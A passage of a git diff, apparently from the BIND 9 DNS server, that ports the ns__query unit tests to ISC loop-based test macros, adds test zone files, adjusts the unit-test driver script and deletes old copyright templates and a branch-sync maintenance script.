-	isc_result_t result;
-
-	UNUSED(state);
-
-	isc__nm_force_tid(0);
-
-	result = ns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc__nm_force_tid(-1);
-
-	ns_test_end();
-
-	return (0);
-}
+#include <tests/ns.h>
 
 /* can be used for client->sendcb to avoid disruption on sending a response */
 static void
@@ -72,8 +45,8 @@ send_noop(isc_buffer_t *buffer) {
 }
 
 /*****
-***** ns__query_sfcache() tests
-*****/
+ ***** ns__query_sfcache() tests
+ *****/
 
 /*%
  * Structure containing parameters for ns__query_sfcache_test().
@@ -149,7 +122,8 @@ run_sfcache_test(const ns__query_sfcache_test_params_t *test) {
 
 		dns_badcache_add(qctx->client->view->failcache, dns_rootname,
 				 dns_rdatatype_ns, true,
-				 test->cache_entry_flags, &expire);
+				 test->cache_entry_flags,
+				 isc_time_seconds(&expire));
 	}
 
 	/*
@@ -181,10 +155,7 @@ run_sfcache_test(const ns__query_sfcache_test_params_t *test) {
 }
 
 /* test ns__query_sfcache() */
-static void
-ns__query_sfcache_test(void **state) {
-	size_t i;
-
+ISC_LOOP_TEST_IMPL(ns__query_sfcache) {
 	const ns__query_sfcache_test_params_t tests[] = {
 		/*
 		 * Sanity check for an empty SERVFAIL cache.
@@ -255,11 +226,12 @@ ns__query_sfcache_test(void **state) {
 		},
 	};
 
-	UNUSED(state);
-
-	for (i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) {
+	for (size_t i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) {
 		run_sfcache_test(&tests[i]);
 	}
+
+	isc_loop_teardown(mainloop, shutdown_interfacemgr, NULL);
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /*****
@@ -275,19 +247,15 @@ typedef struct {
 	dns_rdatatype_t qtype;	      /* QTYPE */
 	unsigned int qflags;	      /* query flags */
 	bool disable_name_checks;     /* if set to true, owner
-				       * name
-				       *          checks will
+				       * name checks will
 				       * be disabled for the
-				       *          view created
-				       * */
+				       * view created
+				       */
 	bool recursive_service;	      /* if set to true, the view
-				       *          created will
-				       * have a cache
-				       *          database
-				       * attached */
+				       * created will have a cache
+				       * database attached */
 	const char *auth_zone_origin; /* origin name of the zone
-				       * the
-				       * created view will be
+				       * the created view will be
 				       * authoritative for */
 	const char *auth_zone_path;   /* path to load the
 				       * authoritative
@@ -431,8 +399,7 @@ run_start_test(const ns__query_start_test_params_t *test) {
 			 test->id.description, test->id.lineno);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/*
@@ -446,8 +413,7 @@ run_start_test(const ns__query_start_test_params_t *test) {
 }
 
 /* test ns__query_start() */
-static void
-ns__query_start_test(void **state) {
+ISC_LOOP_TEST_IMPL(ns__query_start) {
 	size_t i;
 
 	const ns__query_start_test_params_t tests[] = {
@@ -486,7 +452,7 @@ ns__query_start_test(void **state) {
 			.qflags = DNS_MESSAGEFLAG_RD,
 			.recursive_service = true,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_AUTH,
 		},
 		/*
@@ -500,7 +466,7 @@ ns__query_start_test(void **state) {
 			.qflags = DNS_MESSAGEFLAG_RD,
 			.recursive_service = false,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_REFUSE,
 		},
 		/*
@@ -515,7 +481,7 @@ ns__query_start_test(void **state) {
 			.qflags = DNS_MESSAGEFLAG_RD,
 			.recursive_service = true,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_CACHE,
 		},
 		/*
@@ -530,7 +496,7 @@ ns__query_start_test(void **state) {
 			.qflags = DNS_MESSAGEFLAG_RD,
 			.recursive_service = true,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_AUTH,
 		},
 		/*
@@ -545,7 +511,7 @@ ns__query_start_test(void **state) {
 			.qflags = 0,
 			.recursive_service = true,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_AUTH,
 		},
 		/*
@@ -560,7 +526,7 @@ ns__query_start_test(void **state) {
 			.qflags = DNS_MESSAGEFLAG_RD,
 			.recursive_service = true,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_CACHE,
 		},
 		/*
@@ -575,7 +541,7 @@ ns__query_start_test(void **state) {
 			.qflags = 0,
 			.recursive_service = true,
 			.auth_zone_origin = "foo",
-			.auth_zone_path = "testdata/query/foo.db",
+			.auth_zone_path = TESTS_DIR "/testdata/query/foo.db",
 			.expected_result = NS__QUERY_START_R_AUTH,
 		},
 		/*
@@ -608,11 +574,12 @@ ns__query_start_test(void **state) {
 		},
 	};
 
-	UNUSED(state);
-
 	for (i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) {
 		run_start_test(&tests[i]);
 	}
+
+	isc_loop_teardown(mainloop, shutdown_interfacemgr, NULL);
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /*****
@@ -639,7 +606,7 @@ typedef struct hookasync_data {
 				       * asynchronous process */
 	bool canceled;		      /* true if the query has been canceled  */
 	isc_result_t start_result;    /* result of 'runasync' */
-	ns_hook_resevent_t *rev;      /* resume event sent on completion */
+	ns_hook_resume_t *rev;	      /* resume state sent on completion */
 	query_ctx_t qctx;	      /* shallow copy of qctx passed to hook */
 	ns_hookpoint_t hookpoint;     /* specifies where to resume */
 	ns_hookpoint_t lasthookpoint; /* remember the last hook point called */
@@ -668,31 +635,36 @@ cancel_hookactx(ns_hookasync_t *ctx) {
 /* 'runasync' callback passed to ns_query_hookasync */
 static isc_result_t
 test_hookasync(query_ctx_t *qctx, isc_mem_t *memctx, void *arg,
-	       isc_task_t *task, isc_taskaction_t action, void *evarg,
+	       isc_loop_t *loop, isc_job_cb cb, void *evarg,
 	       ns_hookasync_t **ctxp) {
 	hookasync_data_t *asdata = arg;
 	ns_hookasync_t *ctx = NULL;
-	ns_hook_resevent_t *rev = NULL;
+	ns_hook_resume_t *rev = NULL;
 
 	if (asdata->start_result != ISC_R_SUCCESS) {
 		return (asdata->start_result);
 	}
 
 	ctx = isc_mem_get(memctx, sizeof(*ctx));
-	rev = (ns_hook_resevent_t *)isc_event_allocate(
-		memctx, task, NS_EVENT_HOOKASYNCDONE, action, evarg,
-		sizeof(*rev));
-
-	rev->hookpoint = asdata->hookpoint;
-	rev->origresult = DNS_R_NXDOMAIN;
-	rev->saved_qctx = qctx;
-	rev->ctx = ctx;
+	rev = isc_mem_get(memctx, sizeof(*rev));
+	*rev = (ns_hook_resume_t){
+		.hookpoint = asdata->hookpoint,
+		.origresult = DNS_R_NXDOMAIN,
+		.saved_qctx = qctx,
+		.ctx = ctx,
+		.loop = loop,
+		.cb = cb,
+		.arg = evarg,
+	};
+
 	asdata->rev = rev;
 
-	*ctx = (ns_hookasync_t){ .private = asdata };
+	*ctx = (ns_hookasync_t){
+		.destroy = destroy_hookactx,
+		.cancel = cancel_hookactx,
+		.private = asdata,
+	};
 	isc_mem_attach(memctx, &ctx->mctx);
-	ctx->destroy = destroy_hookactx;
-	ctx->cancel = cancel_hookactx;
 
 	*ctxp = ctx;
 	return (ISC_R_SUCCESS);
@@ -722,11 +694,11 @@ hook_async_common(void *arg, void *data, isc_result_t *resultp,
 		}
 	} else {
 		/*
-		 * Resume from the completion of async event.
-		 * fetchhandle should have been detached so that we can start
-		 * another async event or DNS recursive resolution.
+		 * Resume from the completion of async event.  The fetch handle
+		 * should have been detached so that we can start another async
+		 * event or DNS recursive resolution.
 		 */
-		INSIST(qctx->client->fetchhandle == NULL);
+		INSIST(HANDLE_RECTYPE_HOOK(qctx->client) == NULL);
 		asdata->async = false;
 		switch (hookpoint) {
 		case NS_QUERY_GOT_ANSWER_BEGIN:
@@ -889,7 +861,6 @@ run_hookasync_test(const ns__query_hookasync_test_params_t *test) {
 		.action = ns_test_qctx_destroy_hook,
 		.action_data = &asdata,
 	};
-	isc_quota_t *quota = NULL;
 	isc_statscounter_t srvfail_cnt;
 	bool expect_servfail = false;
 
@@ -927,12 +898,12 @@ run_hookasync_test(const ns__query_hookasync_test_params_t *test) {
 	 */
 	isc_quota_max(&sctx->recursionquota, 1);
 	if (!test->quota_ok) {
-		result = isc_quota_attach(&sctx->recursionquota, &quota);
+		result = isc_quota_acquire(&sctx->recursionquota);
 		INSIST(result == ISC_R_SUCCESS);
 	}
 
 	/* Remember SERVFAIL counter */
-	srvfail_cnt = ns_stats_get_counter(qctx->client->sctx->nsstats,
+	srvfail_cnt = ns_stats_get_counter(qctx->client->manager->sctx->nsstats,
 					   ns_statscounter_servfail);
 
 	/*
@@ -942,7 +913,8 @@ run_hookasync_test(const ns__query_hookasync_test_params_t *test) {
 	 * query_error.
 	 */
 	if (test->start_result != ISC_R_SUCCESS || !test->quota_ok ||
-	    test->do_cancel) {
+	    test->do_cancel)
+	{
 		expect_servfail = true;
 		isc_nmhandle_attach(qctx->client->handle,
 				    &qctx->client->reqhandle);
@@ -975,16 +947,14 @@ run_hookasync_test(const ns__query_hookasync_test_params_t *test) {
 	/* If async event has started, manually invoke the 'done' event. */
 	if (asdata.async) {
 		qctx->client->now = 0; /* set to sentinel before resume */
-		asdata.rev->ev_action(asdata.rev->ev_sender,
-				      (isc_event_t *)asdata.rev);
+		asdata.rev->cb(asdata.rev);
 
 		/* Confirm necessary cleanup has been performed. */
 		INSIST(qctx->client->query.hookactx == NULL);
 		INSIST(qctx->client->state == NS_CLIENTSTATE_WORKING);
-		INSIST(qctx->client->recursionquota == NULL);
-		INSIST(ns_stats_get_counter(qctx->client->sctx->nsstats,
-					    ns_statscounter_recursclients) ==
-		       0);
+		INSIST(ns_stats_get_counter(
+			       qctx->client->manager->sctx->nsstats,
+			       ns_statscounter_recursclients) == 0);
 		INSIST(!ISC_LINK_LINKED(qctx->client, rlink));
 		if (!test->do_cancel) {
 			/*
@@ -1004,9 +974,9 @@ run_hookasync_test(const ns__query_hookasync_test_params_t *test) {
 	 * Also, the last-generated qctx should have detach_client being true.
 	 */
 	if (expect_servfail) {
-		INSIST(ns_stats_get_counter(qctx->client->sctx->nsstats,
-					    ns_statscounter_servfail) ==
-		       srvfail_cnt + 1);
+		INSIST(ns_stats_get_counter(
+			       qctx->client->manager->sctx->nsstats,
+			       ns_statscounter_servfail) == srvfail_cnt + 1);
 		if (test->do_cancel) {
 			/* qctx was created on resume and copied in hook */
 			INSIST(asdata.qctx.detach_client);
@@ -1021,17 +991,14 @@ run_hookasync_test(const ns__query_hookasync_test_params_t *test) {
 	 */
 	ns_test_qctx_destroy(&qctx);
 	ns_hooktable_free(mctx, (void **)&ns__hook_table);
-	if (quota != NULL) {
-		isc_quota_detach(&quota);
+	if (!test->quota_ok) {
+		isc_quota_release(&sctx->recursionquota);
 	}
 }
 
-static void
-ns__query_hookasync_test(void **state) {
+ISC_LOOP_TEST_IMPL(ns__query_hookasync) {
 	size_t i;
 
-	UNUSED(state);
-
 	const ns__query_hookasync_test_params_t tests[] = {
 		{
 			NS_TEST_ID("normal case"),
@@ -1267,6 +1234,9 @@ ns__query_hookasync_test(void **state) {
 	for (i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) {
 		run_hookasync_test(&tests[i]);
 	}
+
+	isc_loop_teardown(mainloop, shutdown_interfacemgr, NULL);
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /*****
@@ -1293,7 +1263,7 @@ typedef struct {
 typedef struct hookasync_e2e_data {
 	bool async;		   /* true if in a hook-triggered
 				    * asynchronous process */
-	ns_hook_resevent_t *rev;   /* resume event sent on completion */
+	ns_hook_resume_t *rev;	   /* resume state sent on completion */
 	ns_hookpoint_t hookpoint;  /* specifies where to resume */
 	isc_result_t start_result; /* result of 'runasync' */
 	dns_rcode_t expected_rcode;
@@ -1309,10 +1279,10 @@ cancel_e2ehookactx(ns_hookasync_t *ctx) {
 /* 'runasync' callback passed to ns_query_hookasync */
 static isc_result_t
 test_hookasync_e2e(query_ctx_t *qctx, isc_mem_t *memctx, void *arg,
-		   isc_task_t *task, isc_taskaction_t action, void *evarg,
+		   isc_loop_t *loop, isc_job_cb cb, void *evarg,
 		   ns_hookasync_t **ctxp) {
 	ns_hookasync_t *ctx = NULL;
-	ns_hook_resevent_t *rev = NULL;
+	ns_hook_resume_t *rev = NULL;
 	hookasync_e2e_data_t *asdata = arg;
 
 	if (asdata->start_result != ISC_R_SUCCESS) {
@@ -1320,19 +1290,24 @@ test_hookasync_e2e(query_ctx_t *qctx, isc_mem_t *memctx, void *arg,
 	}
 
 	ctx = isc_mem_get(memctx, sizeof(*ctx));
-	rev = (ns_hook_resevent_t *)isc_event_allocate(
-		memctx, task, NS_EVENT_HOOKASYNCDONE, action, evarg,
-		sizeof(*rev));
+	rev = isc_mem_get(memctx, sizeof(*rev));
+	*rev = (ns_hook_resume_t){
+		.hookpoint = asdata->hookpoint,
+		.saved_qctx = qctx,
+		.ctx = ctx,
+		.loop = loop,
+		.cb = cb,
+		.arg = evarg,
+	};
 
-	rev->hookpoint = asdata->hookpoint;
-	rev->saved_qctx = qctx;
-	rev->ctx = ctx;
 	asdata->rev = rev;
 
-	*ctx = (ns_hookasync_t){ .private = asdata };
+	*ctx = (ns_hookasync_t){
+		.destroy = destroy_hookactx,
+		.cancel = cancel_e2ehookactx,
+		.private = asdata,
+	};
 	isc_mem_attach(memctx, &ctx->mctx);
-	ctx->destroy = destroy_hookactx;
-	ctx->cancel = cancel_e2ehookactx;
 
 	*ctxp = ctx;
 	return (ISC_R_SUCCESS);
@@ -1416,7 +1391,7 @@ run_hookasync_e2e_test(const ns__query_hookasync_e2e_test_params_t *test) {
 	qctx->client->sendcb = send_noop;
 
 	/* Load a zone.  it should have ns.foo/A */
-	result = ns_test_serve_zone("foo", "testdata/query/foo.db",
+	result = ns_test_serve_zone("foo", TESTS_DIR "/testdata/query/foo.db",
 				    qctx->client->view);
 	INSIST(result == ISC_R_SUCCESS);
 
@@ -1440,8 +1415,7 @@ run_hookasync_e2e_test(const ns__query_hookasync_e2e_test_params_t *test) {
 		 * If async event has started, manually invoke the done event.
 		 */
 		INSIST(asdata.async);
-		asdata.rev->ev_action(asdata.rev->ev_sender,
-				      (isc_event_t *)asdata.rev);
+		asdata.rev->cb(asdata.rev);
 
 		/*
 		 * Usually 'async' is reset to false on the 2nd call to
@@ -1460,10 +1434,7 @@ run_hookasync_e2e_test(const ns__query_hookasync_e2e_test_params_t *test) {
 	ns_hooktable_free(mctx, (void **)&ns__hook_table);
 }
 
-static void
-ns__query_hookasync_e2e_test(void **state) {
-	UNUSED(state);
-
+ISC_LOOP_TEST_IMPL(ns__query_hookasync_e2e) {
 	const ns__query_hookasync_e2e_test_params_t tests[] = {
 		{
 			NS_TEST_ID("positive answer"),
@@ -1502,33 +1473,16 @@ ns__query_hookasync_e2e_test(void **state) {
 	for (size_t i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) {
 		run_hookasync_e2e_test(&tests[i]);
 	}
-}
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(ns__query_sfcache_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(ns__query_start_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(ns__query_hookasync_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(ns__query_hookasync_e2e_test,
-						_setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
+	isc_loop_teardown(mainloop, shutdown_interfacemgr, NULL);
+	isc_loopmgr_shutdown(loopmgr);
 }
 
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(ns__query_sfcache, setup_server, teardown_server)
+ISC_TEST_ENTRY_CUSTOM(ns__query_start, setup_server, teardown_server)
+ISC_TEST_ENTRY_CUSTOM(ns__query_hookasync, setup_server, teardown_server)
+ISC_TEST_ENTRY_CUSTOM(ns__query_hookasync_e2e, setup_server, teardown_server)
+ISC_TEST_LIST_END
 
-#endif /* HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/ns/tests/testdata/notify/notify1.msg b/tests/ns/testdata/notify/notify1.msg
similarity index 100%
rename from lib/ns/tests/testdata/notify/notify1.msg
rename to tests/ns/testdata/notify/notify1.msg
diff --git a/tests/ns/testdata/notify/zone1.db b/tests/ns/testdata/notify/zone1.db
new file mode 100644
index 0000000000..b218d6dda5
--- /dev/null
+++ b/tests/ns/testdata/notify/zone1.db
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 1000
+@		in	soa	localhost. postmaster.localhost. (
+				1993050801	;serial
+				3600		;refresh
+				1800		;retry
+				604800		;expiration
+				3600 )		;minimum
+		in	ns	ns.example.com.
+		in	ns	ns2.example.com.
+		in	ns	ns3.example.com.
+ns		in	a	10.0.0.1
+ns2		in	a	10.0.0.2
+ns3		in	a	10.0.0.3
+
+a		in	a	1.2.3.4
diff --git a/tests/ns/testdata/query/foo.db b/tests/ns/testdata/query/foo.db
new file mode 100644
index 0000000000..5fb2c42861
--- /dev/null
+++ b/tests/ns/testdata/query/foo.db
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+@		IN	SOA	localhost. postmaster.localhost. (
+				1		;serial
+				3600		;refresh
+				1800		;retry
+				604800		;expiration
+				3600 )		;minimum
+		IN	NS	ns
+ns		IN	A	127.0.0.1
diff --git a/lib/unit-test-driver.sh.in b/tests/unit-test-driver.sh.in
similarity index 75%
rename from lib/unit-test-driver.sh.in
rename to tests/unit-test-driver.sh.in
index c66649c0d1..9a60db1337 100644
--- a/lib/unit-test-driver.sh.in
+++ b/tests/unit-test-driver.sh.in
@@ -1,4 +1,15 @@
 #!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
 
 TOP_BUILDDIR=@abs_top_builddir@
 TOP_SRCDIR=@abs_top_srcdir@
@@ -24,8 +35,8 @@ while [ ${TIMEOUT} -gt 0 ]; do
 	TIMEOUT=$((TIMEOUT - 1))
 done
 if [ ${TIMEOUT} -eq 0 ]; then
-	echo "PID ${TEST_PROGRAM_PID} exceeded run time limit, sending SIGKILL" >&2
-	kill -KILL "${TEST_PROGRAM_PID}" 2>/dev/null
+	echo "PID ${TEST_PROGRAM_PID} exceeded run time limit, sending SIGABRT" >&2
+	kill -ABRT "${TEST_PROGRAM_PID}" 2>/dev/null
 fi
 
 TEST_PROGRAM_NAME=$(basename "${TEST_PROGRAM}")
diff --git a/tsan-suppressions.txt b/tsan-suppressions.txt
deleted file mode 100644
index b12e03892f..0000000000
--- a/tsan-suppressions.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-# Uninstrumented library.
-called_from_lib:libfstrm.so
diff --git a/util/COPYRIGHT b/util/COPYRIGHT
deleted file mode 100644
index db2b676789..0000000000
--- a/util/COPYRIGHT
+++ /dev/null
@@ -1,8 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, you can obtain one at https://mozilla.org/MPL/2.0/.
-
-See the COPYRIGHT file distributed with this work for additional
-information regarding copyright ownership.
diff --git a/util/COPYRIGHT.BRIEF b/util/COPYRIGHT.BRIEF
deleted file mode 100644
index bb4b74b3bc..0000000000
--- a/util/COPYRIGHT.BRIEF
+++ /dev/null
@@ -1,3 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
diff --git a/util/COPYRIGHT.BSDI b/util/COPYRIGHT.BSDI
deleted file mode 100644
index 3f7baea2ac..0000000000
--- a/util/COPYRIGHT.BSDI
+++ /dev/null
@@ -1,23 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, you can obtain one at https://mozilla.org/MPL/2.0/.
-
-See the COPYRIGHT file distributed with this work for additional
-information regarding copyright ownership.
-
-This code is derived from software contributed to ISC by
-Berkeley Software Design, Inc.
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND BERKELEY SOFTWARE DESIGN, INC.
-DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE
-FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR
-IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/util/COPYRIGHT.NAI b/util/COPYRIGHT.NAI
deleted file mode 100644
index 7004588951..0000000000
--- a/util/COPYRIGHT.NAI
+++ /dev/null
@@ -1,22 +0,0 @@
-Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, you can obtain one at https://mozilla.org/MPL/2.0/.
-
-See the COPYRIGHT file distributed with this work for additional
-information regarding copyright ownership.
-
-Portions Copyright (C) Network Associates, Inc.
-
-Permission to use, copy, modify, and distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NETWORK ASSOCIATES DISCLAIMS
-ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE
-FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR
-IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/util/COPYRIGHT.NOM b/util/COPYRIGHT.NOM
deleted file mode 100644
index 703af5971c..0000000000
--- a/util/COPYRIGHT.NOM
+++ /dev/null
@@ -1,22 +0,0 @@
-Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, you can obtain one at https://mozilla.org/MPL/2.0/.
-
-See the COPYRIGHT file distributed with this work for additional
-information regarding copyright ownership.
-
-Portions Copyright (C) @NOMYEARS@ Nominum, Inc.
-
-Permission to use, copy, modify, and distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NOMINUM DISCLAIMS ALL
-WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
-OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY
-SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/util/COPYRIGHT.PORTION b/util/COPYRIGHT.PORTION
deleted file mode 100644
index e61c2b9903..0000000000
--- a/util/COPYRIGHT.PORTION
+++ /dev/null
@@ -1,8 +0,0 @@
-Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, you can obtain one at https://mozilla.org/MPL/2.0/.
-
-See the COPYRIGHT file distributed with this work for additional
-information regarding copyright ownership.
diff --git a/util/COPYRIGHT.TOP b/util/COPYRIGHT.TOP
deleted file mode 100644
index d46a559644..0000000000
--- a/util/COPYRIGHT.TOP
+++ /dev/null
@@ -1,5 +0,0 @@
-Copyright (C) @SYSYEARS@  Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/util/bindkeys.pl b/util/bindkeys.pl
index c9d966dabd..0a523049cb 100755
--- a/util/bindkeys.pl
+++ b/util/bindkeys.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/util/branchsync.sh b/util/branchsync.sh
deleted file mode 100644
index 0a3855384d..0000000000
--- a/util/branchsync.sh
+++ /dev/null
@@ -1,171 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# branchsync:
-# pull in changes from a main BIND 9 release branch to a subscription
-# branch (e.g., from v9_9 to v9_9_sub).  This excludes commits from the
-# 'tinderbox' user (copyright updates and doc regeneration) because those
-# will be taken care of in the subscription branch itself.
-#
-# Most of the time, changes in the main branch will cherry-pick cleanly
-# into the subscription branch. When one fails, we reset to the last
-# commit that went cleanly, and send mail -- or, if running in interactive
-# mode, we stop and allow the user to resolve conflicts.
-#
-# NOTE: This does not push changes to the repository; currently that's up
-# to the caller.
-#
-# Usage:
-# branchsync.sh [ -i ] [ -c ]
-#   -i: interactive mode (don't reset and send mail)
-#   -c: continue (conflicts are resolved; edit message and commit)
-
-restore_files () {
-    # restore the copyrights and api files
-    git checkout HEAD -- util/copyrights lib/*/api
-    # restore the generated documentation
-    git checkout HEAD -- doc/arm/*.html doc/arm/Bv9ARM.pdf
-    git checkout HEAD -- bin/*/*.html bin/*/*.[0-9]
-    # don't update the EXCLUDED file
-    if [ -f EXCLUDED ]; then
-        git checkout HEAD -- EXCLUDED
-    fi
-}
-
-savehash () {
-    cat <<EOF > $1.new
-SOURCEBRANCH=$2
-LASTHASH=$3
-EOF
-    mv -f $1.new $1
-    git add branchsync.dat
-}
-
-thisbranch () {
-    git branch | grep '^\*' | cut -b3-
-}
-
-docommit () {
-    # skip the commit if we're only updating branchsync.dat
-    status=`git status -suno | grep branchsync.dat`
-    if [ -z "$status" ]; then
-        return
-    fi
-
-    # pull in the log message from the cherry-picked commit
-    git log -1 --pretty=format:%s%n%b $2 > orig_commit_msg.tmp
-    author=`git log -1 --pretty=format:"%aN <%aE>" $2`
-    firstline=`head -1 orig_commit_msg.tmp | sed 's/^\[[a-z0-9_]*\] //'`
-    tail -n +2 orig_commit_msg.tmp > remainder.tmp
-    firstline="[$BRANCH] $firstline"
-    echo $firstline > commit_msg.tmp
-    cat remainder.tmp >> commit_msg.tmp
-    echo "pulled from $1 by script." >> commit_msg.tmp
